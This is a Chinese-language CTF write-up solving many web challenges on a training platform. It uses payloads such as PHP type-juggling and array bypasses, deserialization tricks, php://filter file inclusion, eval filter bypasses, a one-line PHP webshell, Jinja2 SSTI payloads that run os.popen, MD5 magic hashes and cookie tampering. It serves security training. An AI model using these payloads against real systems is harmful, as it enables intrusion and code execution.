本文相关的ctf平台链接:Catf1agCTF - 综合训练平台
WEB签到
查看源代码
flag倒叙了,可以使用下面这个
文本字符串倒序在线工具(ESJSON在线工具)
flag:
catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}
flag在哪呢?
查看源代码
intval
源代码:
<?phperror_reporting(0);header("Content-Type:text/html;charset=utf-8");include('flag.php');show_source('./index.php');$num = $_GET['num'];$num2 = intval($num);if(isset($num) && $num != '123'){ if($num == 123){ echo $flag; }else{ echo 'flag{this_flag_is_False}'; }}else{ echo '你输入点东西行不行...';}?>
这题get传参
因为字符串和数字比较,字符串会被转换成数字。
所以绕过123加个a即可
payload:
?num=123a
easy_unser_1
源代码:
<?php//error_reporting(0);show_source('./index.php');class flag_in_there{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function get_flag(){ echo "hello,i'm '$this->name',now '$this->age' years"; }}$flag = new flag_in_there('vfree','19');$ser = serialize($flag);$un = $_GET['str'];if($ser == $un){ include('flag.php'); echo $flag;}else{ echo "你真棒~";}?>
这题是道比较基础反序列化,可能也说不上吧
解题思路就是传个跟flag反序列化后一样的字符串即可
这里可以直接把前面的复制下来
payload:
<?phpclass flag_in_there{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function get_flag(){ echo "hello,i'm '$this->name',now '$this->age' years"; }}$flag = new flag_in_there('vfree','19');$ser = serialize($flag); echo $ser;?>
?str=O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}
rce_me_1
题目提示了是rce
我们就直接命令执行吧
?cmd=ls
找到文件位置
现在我们查看
?cmd=cat get_flag_in_there_!!!!!!!!!!!!!!!!!!!
json
源代码:
<?phpshow_source('index.php');include('flag.php');$key = $_GET['key'];$decode = json_decode($key);if($decode->flag == $flag){ echo $flag;}else{ echo "<h3>404 not found</h4>";}?>
首先我们介绍一下什莫是json:JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。
输入一个数组进行json解码,如果解码后的key与flag值相同,会得到flag,主要思想还是弱类型进行绕过,我们不知道flag值是什莫,但是我们知道一件事就是它肯定是字符串,这样就可以了,上文讲过,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了。最终payload:
?key={"flag":0}
GET&POST
?flag=cat
flag=f1ag
robots
这里简单介绍一下robots.txt
robots.txt文件:
User-agent: *
Disallow: /admin/ 后台管理文件
Disallow: /require/ 程序文件
Disallow: /attachment/ 附件
Disallow: /images/ 图片
Disallow: /data/ 数据库文件
Disallow: /template/ 模板文件
Disallow: /css/ 样式表文件
Disallow: /lang/ 编码文件
Disallow: /script/ 脚本文件
robots.txt文件里还可以直接包括在sitemap文件的链接。就像这样:
Sitemap: http://www.***.com/sitemap.xml
robots.txt语法教程
用几个最常见的情况,直接举例说明:
允许所有SE收录本站:robots.txt为空就可以,什么都不要写。
禁止所有SE收录网站的某些目录:
User-agent: *
Disallow: /目录名1/
Disallow: /目录名2/
Disallow: /目录名3/
禁止某个SE收录本站,例如禁止百度:
User-agent: Baiduspider
Disallow: /
禁止所有SE收录本站:
User-agent: *
Disallow: /
访问/f1ag_is_in_there!!!
会下载一个文件,打开即可获得flag
easy_include_1
我们看一下源代码
这里告诉我们flag在/get_flag
payload:
?file=php://filter/read=convert.base64-encode/resource=/get_flag
将红框内的字符串base64解码即可得到flag
strcmp
源代码:
<?phperror_reporting(0);include('flag.php');show_source("index.php");$str = $_GET['str'];$init_str = "get_flag";if($str!=$init_str){ if(strcmp($init_str,$str)==0){ echo $flag; }else{ echo "no"; }}else{ echo "nonono";}?>
strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,string str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
payload:
?str[]=0
easy_upload_1
文件上传
直接一句话木马
<?php@eval($_POST('1'));?>
然后直接蚁剑连接即可
easy_include_2
一打开很抽象
查看源代码
可惜想简单了,这不是flag
这里提示了file传参
因为是文件包含题
所以我们直接按套路走
?file=php://filter/read=convert.base64-encode/resource=flag.php
这里提示不用加php后缀
?file=php://filter/read=convert.base64-encode/resource=flag
接下来base64解码即可
注意:这里要将catf1ag改为flag才能提交成功
swp
这里提示了swp
linux下vi/vim异常关闭是会存留.swp文件
方法:提示vim异常关闭,访问url/.index.php.swp,得到flag。
访问.index.php.swp会获得一个文件,打开后即可拿到flag
被黑了...
查看源代码
访问webshe11.php
打开是个空白页,猜测是一句话木马
这里有个难点就是要猜hacker为传参
?hacker=system('ls');
接下来就是直接查看flag
?hacker=system('cat hacker_flag.php');
easy_rce_2
源代码:
<?php error_reporting(0);show_source('index.php');$cmd = $_GET['cmd'];$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);if(!$preg){ eval($cmd);}else{ echo "非法字符";}?>
这里我们使用拼接绕过
?cmd=eval($_GET[1]);&1=system('ls');
?cmd=eval($_GET[1]);&1=system('cat f1ag_in_there.php');
不等于0
数组绕过秒了
?num[]=0
easy_flask_1
题目有提示/?cmd=
我们先尝试一下
接下来我们猜测可能为ssti
?cmd={{2*2}}
既然知道是ssti
我们直接查询配置信息,看有没有什么发现
?cmd={{config}}
easy_flask_2
跟上一题一样,我们先测试一下它是否为ssti
这里直接给一个比较通用的payload:
?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(108)%2bchr(115)).read()}}
这里的chr(108)%2bchr(115)为ls拼接
可以参考下这个表
chr()表对应大全_chr(12)-CSDN博客
接下来就是cat flag了
?cmd={% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(42)).read()}}
这里使用的是cat f*(后面不想找了.......)
又双叒叕不能相等
源代码:
<?phpinclude('flag.php');error_reporting(0);show_source('index.php');$init_num = '999999999999';$user_num = $_GET['num'];if(isset($user_num)){ if($user_num != $init_num){ if(strlen($user_num) < strlen($init_num)){ if($user_num > $init_num){ echo 'get glag:'.$flag; }else{ echo '你输入的数字小于初始值~'; } }else{ echo '不能大于初始值~'; } }else{ echo '不能相等~'; }}else{ echo '请输入内容~';}?>
这里要求num长度小于999999999999又要大于999999999999
提示:字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是0e/d+的模式)。
payload:
?num=1e12
这里没有发现flag,真奇怪
flag藏在响应头里了,离谱
哦豁~还有一半呢?
打开一片空白
查看源代码
这里显示flagb,说明还有个flaga应该
查看响应头
接下来就是拼接,base64解码即可
bypass_wakeup
源代码:
<?php show_source(__FILE__);class flag{ public $name = "catflag"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ show_source('flag.php'); echo "this is __destruct<br>"; }}$str = $_GET["ser"];@$un_str = unserialize($str);echo $un_str->name."<br>"; ?>
这题是反序列化
比较简单,只要绕过__wakeup即可
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
<?php show_source(__FILE__);class flag{ public $name = "catflag"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ show_source('flag.php'); echo "this is __destruct<br>"; }}$a=new flag();echo serialize($a);//O:4:"flag":1:{s:4:"name";s:7:"catflag";}
修改为
?ser=O:4:"flag":2:{s:4:"name";s:7:"catflag";}
无字符webshell
源代码:
<?php$cmd=$_GET['cmd'];if(preg_match("/[A-Za-z0-9]/",$cmd)){ die("giaogiaogiao!!!");}else { eval($cmd);}highlight_file(__FILE__)?>
这里要绕过字母和数字
异或绕过有点麻烦,这里看别的师傅写的
想学习的可以参考一下这个文章浅析CTF绕过字符数字构造shell_ctf 只能字母或者数字登录-CSDN博客
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls /
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
接下来就是cat /flag.txt
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag.txt
舔dog日记
(听哥一句劝,别当舔dog,不喜欢就是不喜欢)
我们先打开日记1看看
这里有filename,盲猜后面是base64编码后的
我们尝试一下flag.php
?filename=ZmxhZy5waHA=
查看源代码即可发现flag
遍历遍历
这里刷新一次就有一句话,应该是要我们写脚本遍历
脚本
import requestsurl = "http://subject.catf1ag.cn:47522/" #这里填入题目的urlfor i in range(250): result = requests.get(url) if 'catf1ag' in result.text: print(result.text) break
这里需要等几秒才能显示
easy_rce_3
源代码:
<?phphighlight_file(__FILE__);if(isset($_GET['cmd'])){ if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){ @eval($_GET['cmd']); }else{ echo "danger_string"; }}else{ echo "你啥也不输入,给你个假的flag:flag{error_flag}";}?>
这题没有过滤system
?cmd=system('ls');
这里利用文件包含伪协议
?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可
easy_rce_4
源代码:
<?phperror_reporting(0);show_source('index.php');$cmd = $_GET['a'];$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';if(preg_match($a,$cmd)){ echo "not allow";}else{ if(strlen($cmd)<=50&$cmd!=''){ echo "you are success!"; } else{ system($cmd); }}?>
即有过滤,又加了长度限制
这里可以使用nl或者tail
因为这里过滤了空格,可以使用%0a或者%09还有{IFS}等绕过(这里%0a不行)
?a=%ls;6666666666666666666666666666666666666666666666666666666666666
?a=nl%09f1111111111111111111111111ag.php;6666666666666666666666666666666666666666666666666666666666666
flag藏在源代码里面
xss_alert
开始试了很多xss,发现没反应
看了下源代码,发现只要触发alert即可
接下来base64解码即可
[两小时AK赛] 你猜猜是什么注入
开始以为是ssti
看了别的师傅提示tee
tee的功能是从标准输入读取,再写入标准输出和文件。
?catf1ag=ls / | tee 2.txt
简单解释一下,就是将ls /写入2.txt里
然后访问2.txt就会触发ls /
?catf1ag=cat /flag | tee 3.txt
json_2
源代码:
<?phpshow_source(__FILE__);$strs = json_decode($_GET['strs']);$key = '************************';$flag = 'catf1ag{***********************************}';foreach($strs as $keys=>$values){ if($values == $key){ echo $flag; }else{ echo 'failed'; }}?>
这题跟前面那一题有点不一样
这里key为纯数字或者数字开头的字符串
所以这里改为布尔值true(布尔值可以和任何字符串相等。)
?strs={"key":true}
MD5弱比较
源代码:
<?phpheader("Content-Type:text/html;charset=utf-8");show_source(__FILE__);include('flag.php');$username = $_GET['username'];$password = $_GET['password'];if($username != $password){ if(md5($username) == md5($password)){ echo 'GET_FLAG:'.$flag; }else{ echo 'md5校验出错...'; }}else{ echo '用户名密码不能相等!';}?>
这里简单讲解下弱比较
“= =”:会把两端变量类型转换成相同的,在进行比较。
这里明确说明,在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。
例子:
<?php var_dump("name"==0); //true var_dump("1name"==1); //true var_dump("name1"==1) //false var_dump("name1"==0) //true var_dump("0e123456"=="0e4456789"); //true var_dump("0e1abc"=="0"); //true ?>
当出现xex模式的时候代表科学计数法,比如1e3=1*10三次方,在进行比较运算时,如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。
下面提供一下md加密后0e开头的
纯数字类:
240610708 0e462097431906509019562988736854314282422 0e990995504821699494520356953734571579406 0e972379832854295224118025748221903251147 0e1745105038239329423613532093841110242161 0e4358745584886258913248611981031320830526 0e9120959589854833469954140608321586264293 0e6227436711559957376396627184982302756269 0e2505668884974737987244267944622427435592 0e0676969523286697324754984723432653531602 0e8774875223415447580288106108853293867441 0e4710012013036025439211445702603295421201 0e7038703330022326812396188562203465814713 0e2586316456509996645217055371223524854780 0e5074190624898878270878157351953908336290 0e8076244989591904158812482452714011627063 0e4858056870344399059383627017754775635065 0e9982120899466409675994503611684790555361 0e6434422146609944301344924645125432453531 0e5123186990858816308618905260975579679820 0e8776220117302218034617401849155585393579 0e6643573553823058059927653370236376552501 0e1658867069974821878702155780157124129977 0e5000073610447478046821220608767197546197 0e9151885760724691014573156755027656486157 0e451569119711843337267091732412
大写字母类:
QLTHNDT 0e405967825401955372549139051580QNKCDZO 0e830400451993494058024219903391EEIZDOI 0e782601363539291779881938479162TUFEPMC 0e839407194569345277863905212547UTIPEZQ 0e382098788231234954670291303879UYXFLOI 0e552539585246568817348686838809IHKFRNS 0e256160682445802696926137988570PJNPDWY 0e291529052894702774557631701704ABJIHVY 0e755264355178451322893275696586DQWRASX 0e742373665639232907775599582643DYAXWCA 0e424759758842488633464374063001GEGHBXL 0e248776895502908863709684713578GGHMVOE 0e362766013028313274586933780773GZECLQZ 0e537612333747236407713628225676NWWKITQ 0e763082070976038347657360817689NOOPCJF 0e818888003657176127862245791911MAUXXQC 0e478478466848439040434801845361MMHUWUV 0e701732711630150438129209816536
payload:
?username=240610708&password=QLTHNDT
MD5强对比
源代码:
<?phpheader("Content-Type:text/html;charset=utf-8");show_source(__FILE__);include('flag.php');$username = $_GET['username'];$password = $_GET['password'];if($username != $password){ if(md5($username) === md5($password)){ echo 'GET_FLAG:'.$flag; }else{ echo 'md5校验出错...'; }}else{ echo '用户名密码不能相等!';}?>
这里使用了===强比较
直接构造数组就可以绕过了
payload:
?username[]=1&password[]=2
md5($md5)
源代码:
<?phpheader("Content-Type:text/html;charset=utf-8");show_source(__FILE__);include('flag.php');$md5 = $_GET['md5'];if($md5 == md5($md5)){ echo 'GET_FLAG'.$flag;}else{ echo 'md5校验失败...';}?>
一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a
payload:
?md5=0e215962017
[原九小时AK赛] passwd
题目描述:小cat是某公司的安全侦察人员,在2022年9月9日凌晨6点,小cat抓取到了几条疑似a人员和b人员交流的包,经过破译,大致意思是“在今年xx月xx日xx点xx分准时进行数据交易”,但是唯独不能完全破解出来,于是他发到公司的网络安全群寻求帮助:69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95(密文格式是:年份必须是4位数,月日时分必须是两位数,需要用0补齐,比如2022年01月01日01时01分
看着像是密码的题,不知道为什么跑web来了
Hash Analyzer - TunnelsUP
不出意外是sha256
题目有提示2022年并且为12位密码
所以编写python脚本
from hashlib import sha256for i in range(202210000000,202212320000): a='69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95' if(sha256(str(i).encode()).hexdigest()==a): print(i)
202211121750
[原九小时AK赛] whisper
查看源代码
url加上whisper
查看源代码(离谱!)
又是一道密码题......
这题要在kali安装BaseCrack工具
可以看这个文章
BaseCrack:一款功能强大的Base编码解码工具 - FreeBuf网络安全行业门户
git clone https://github.com/mufeedvh/basecrack.git
cd basecrackpip install -r requirements.txt
下载需要等待一会
python basecrack.py -h
安装完成
先nano hash.txt,将]DW3(ivp$&AsexbR32]={&8C"7)xB写入
nano hash.txt]DW3(ivp$&AsexbR32]={&8C"7)xB
python basecrack.py --magic -f hash.txt
获得一半的flag
catf1ag{I_b41i3v3_y0U_c
题目提示不同方法,不同效果
bp抓包,将GET改为POST
这剩下一半是接不上的,要凯撒密码一下
找开头为an的即可
凯撒(Caesar)加密/解密 - Bugku CTF
an_f1nd_all_0f_m3}
所以最终flag为
catf1ag{I_b41i3v3_y0U_can_f1nd_all_0f_m3}
[红包题] 冬至当然要吃汤圆和饺子
查看源代码即可
web也能套!
<?phpsession_start();//flag in flag$_SESSION['who'] = 'admin';$_SESSION['wh0'] = 'admin123';var_dump($_ENV[$_POST[$_GET[$_SESSION['who']]]]);?>
猜测将环境变量改为flag
GET:?admin=1POST:1=flag
简单的越权
根据提示我们传参抓包看看
这里应该要改cookie
info base64解码结果为admin
这里应该要把admin改为admini
d2VsY29tZV90b19jYXRmMWFnX2xvZ2luXzphZG1pbmk=